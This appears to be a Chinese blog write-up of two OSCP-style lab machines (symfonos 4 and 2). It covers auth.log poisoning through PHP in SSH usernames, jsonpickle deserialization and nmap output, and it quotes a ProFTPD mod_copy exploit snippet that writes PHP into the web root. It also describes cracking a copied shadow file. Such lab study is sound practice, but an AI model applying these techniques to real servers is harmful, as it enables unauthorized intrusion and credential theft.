两台OSCP类型靶机,简单总结一下关键点
symfonos: 4
这个靶机最重要的有两个地方
投毒
第一就是文件包含,但是限制了后缀名必须为.log,看得到被恶意使用的潜力
突破这类限制有两种形式,一种是直接“强行”突破,让它的限制失效,比如%00截断;第二种就是“妥协”一点,比如这里的道路就是在他的限制内寻找利用的方式,也可以说是利用规则,或者说钻规则的空子,相比于前者,这种方式的侮辱性更强。
既然选择妥协,那么就要尽全力寻找规则内可以利用的事物,本身就含有恶意代码的.log文件再稍微反应一下后就可以排除掉了,剩下就是要找到一种方式让用户控制的输入内容与此连接,为什么要特意强调这个过程,因为这个过程可能不会太明显,用户输入的位置和真正的执行位置可以看起来没有任何联系,而且在内部,用户输入经过执行的位置可能会有层层工序,总之就是不明显
这里可以想到apache的日志文件access.log,它会记录访问的url和几个http头,如果在其中加入php代码再包含就成功执行系统命令了,但是这里access.log没有权限读,而是auth.log可以被读取,它会记录ssh连接的信息,比如用户名,可以在用户名中写php代码然后包含就能成功执行系统命令
jsonpickle反序列化
不管执行执行什么样的命令,都会500报错,命令也没有执行,就连简单的在/tmp下创建文件都做不到,所以一直以为是__reduce__方法被禁用了,换了几种后仍然不行
最后得知可以成功执行反弹shell的命令
这里的锅有两种,一是对flask或者jsonpickle技术原理上的不深入理解,二就是没有try harder
symfonos: 2
端口信息
sudo nmap -sT -A -Pn -p21,22,80,139,445 192.168.56.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-11 08:44 CST
Nmap scan report for 192.168.56.110 (192.168.56.110)
Host is up (0.0012s latency).PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA)
| 256 04:2a:bb:06:56:ea:d1:93:1c:d2:78:0a:00:46:9d:85 (ECDSA)
|_ 256 28:ad:ac:dc:7e:2a:1c:f6:4c:6b:47:f2:d6:22:5b:52 (ED25519)
80/tcp open http WebFS httpd 1.21
|_http-server-header: webfs/1.21
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:B9:59:7C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
| smb2-time:
| date: 2025-08-11T00:44:28
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos2
| NetBIOS computer name: SYMFONOS2\x00
| Domain name: \x00
| FQDN: symfonos2
|_ System time: 2025-08-10T19:44:28-05:00TRACEROUTE
HOP RTT ADDRESS
1 1.15 ms 192.168.56.110 (192.168.56.110)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds
匿名登录到smb下载log.txt,内容貌似是一些命令执行的记录,可以看到第一个命令把shadow进行了备份,下面则是查看了smb和ftp的配置文件,一般来讲不会特别确定哪一部分是有重大作用的,或者说整个文件都只是misdirection,但是无论如何都必须将这个信息给保存,以便在之后陷入僵局时把所有收集到的信息整体地观察,发现它们之间的联系
root@symfonos2:~# cat /etc/shadow > /var/backups/shadow.bak
root@symfonos2:~# cat /etc/samba/smb.conf
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
# - When such options are commented with ";", the proposed setting
# differs from the default Samba behaviour
# - When commented with "#", the proposed setting is the default
# behaviour of Samba but the option is considered important
# enough to be mentioned here
#
# NOTE: Whenever you modify this file ...
在这之后,根据80端口和21端口的指纹信息做了公开漏洞利用的查找
80端口用searchsploit找到了一个漏洞,虽然是远程漏洞利用,但却是C语言写的,编译时报了很多错误,于是暂时放下,看看21端口的服务有没有历史漏洞
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)这个漏洞利用脚本是用python写的,但是直接运行会失败,提示没有权限
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.110]350 File or directory exists, ready for destination name550 cpto: Permission denied350 File or directory exists, ready for destination name550 cpto: Permission denied
由于对ftp和漏洞的不熟悉,当时并不清楚这个提示的具体含义,只知道失败了,现在不能放弃,只是和之前一样暂时放下,用另一个同一个漏洞的早一点的利用脚本再尝试,同样失败,不过任然还不能放弃,特别是在不清楚失败的原因的时候。为了弄清楚原因,开始阅读脚本的代码
client.connect((target,21)) # Connecting to the target serverbanner = client.recv(74)print(banner.decode())client.send(b'site cpfr /etc/passwd\r\n')print(client.recv(1024).decode())client.send(b'site cpto <?php phpinfo(); ?>\r\n') # phpinfo() is just a PoC.print(client.recv(1024).decode())client.send(b'site cpfr /proc/self/fd/3\r\n')print(client.recv(1024).decode())client.send(b'site cpto /var/www/html/test.php\r\n')print(client.recv(1024).decode())client.close()print('Exploit Completed')
在网上查资料后,明白了cpfr和cpto两条命令的含义,这时再结合之前的错误提示,那么可以肯定就是没有写的权限,但是真的是所有文件和目录都不能写吗?这时是不能这样下结论的,事实也确实是只是没有对/proc/self/df/3的写权限
这里和之前sym4的场景非常像,由于在/tmp目录下用touch创建文件都做不到,就断定这里所有命令都是不能执行的,其实偏偏就是反弹shell能够执行。当然这种事情如果知道技术细节和原理就都是理所当然的小事,相比之下之前那样可能会显得投机取巧,但是这种习惯和思考的方式还是很有必要掌握的,毕竟不是所有技术原理在头一回遇到都是可以立刻掌握的
这时就可以联动之前的信息,也就是log.txt中shadow的备份,当然这里还体现不出记录的重要性,可放在现实世界里,在海量的信息中很容易忘记之前不起眼的关键点。把shadow.bak拷贝到smb匿名共享的目录中(log.txt中的smb配置文件中有),然后下载下来,用hashcat破解,成功破解了aeolus的密码
之后就简单了,本地的8080端口有一个web应用程序,并且存在一个漏洞,用socat端口转发后,在攻击机上运行漏洞利用脚本就拿下root
